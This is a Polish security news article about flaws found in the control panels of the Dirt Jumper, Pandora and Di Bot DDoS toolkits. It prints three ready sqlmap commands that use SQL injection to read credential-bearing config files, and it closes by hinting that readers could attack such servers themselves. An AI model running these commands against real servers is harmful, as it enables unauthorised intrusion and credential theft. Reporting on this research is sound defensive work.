Tak jak przestępcy czerpią satysfakcję z przejmowania kontroli nad cudzymi komputerami i systemami, tak analitycy bezpieczeństwa swoją radość czasem wywodzą z przejmowania kontroli nad serwerami i oprogramowaniem przestępców. Tym razem padło na popularne narzędzie DDoSerów.
W ciągu ostatnich miesięcy opisywaliśmy dwa ciekawe przypadki kontrataków „hakerów w białych kapeluszach” – instrukcję przejęcia botnetu Sality oraz historię przejęcia botnetu Herpes i ujawniania tożsamości jego autora. Dzisiaj dołączymy trzecią historię – przejęcia kontroli nad rodziną narzędzi Dirt Jumper.
Dirt Jumper to popularny w ostatnich miesiącach zestaw narzędzi służących do prowadzenia rozproszonych ataków odmowy usługi. Rodzina Dirt Jumpera składa się z trzech wersji: Dirt Jumpera v.3, Pandory oraz Di BoTa. Ofiarą ataków generowanych przez Pandorę i Di Bota padł m in. niedawno znany bloger Brian Krebs. Firma Prolexic, zajmująca się zapobieganiem atakom DDoS, przyjrzała się bliżej rodzinie Dirt Jumpera i opublikowała interesujące informacje na ich temat (by otrzymać raport należy po odwiedzeniu linku podać w formularzu po prawej stronie istniejący adres email).
Okazuje się, że autorzy Dirt Jumpera skoncentrowali się na skuteczności generowanych przez niego ataków oraz na polimorficzności kodu, by uniknąć wykrycia przez antywirusy. Najwyraźniej nie wystarczyło już im czasu, by zadbać o dość podstawowe kwestie bezpieczeństwa kodu źródłowego aplikacji. W panelach administracyjnych serwerów C&C botnetow znaleziono błędy umożliwiające wstrzykiwanie zapytań SQL, wstrzykiwanie plików, nieprawidłowe ograniczanie ścieżki czy słabości procesu uwierzytelnienia.
Na przykład Dirt Jumper v.3 posiada błąd typu SQLi, umożliwiający odczytanie pliku konfiguracyjnego, zawierającego hasła dostępu do panelu administracyjnego. Użycie narzędzia SQLMap z poniższymi parametrami
./sqlmap.py --level=5 --risk=3 -u "http://www.evilsite.com/dj5/" -p k --data="k=" --technique=t --dbms=mysql --file-read=”/var/www/html/evilsite.com/djv5/config.php”
pozwala na zapoznanie się z treścią pliku
Nie lepiej sytuacja wygląda z Pandorą. Analogiczne polecenie to
./sqlmap.py -u “http://www.evilsite.com/pandora/index.php?u=1234” --random-agent --technique ts --dbms mysql -p u --file-read=”/var/www/pandora/config.php”
dające w efekcie
Z kolei Di Bot błąd SQLi ma w innym miejscu – przykład poniżej.
./sqlmap.py -u “http://www.evilsite.com/di/diwar.php” --data “k=1234” -p k --random-agent --technique ts --dbms mysql --file-read=”/var/www/di/config.php”
Dużo więcej szczegółów opisywanych błędów znajdziecie w raporcie firmy Prolexic. Jeśli zaś wiecie, gdzie znajduje się serwer C&C któregoś z narzędzi Dirt Jumpera, to wiecie, co możecie z nim zrobić ;)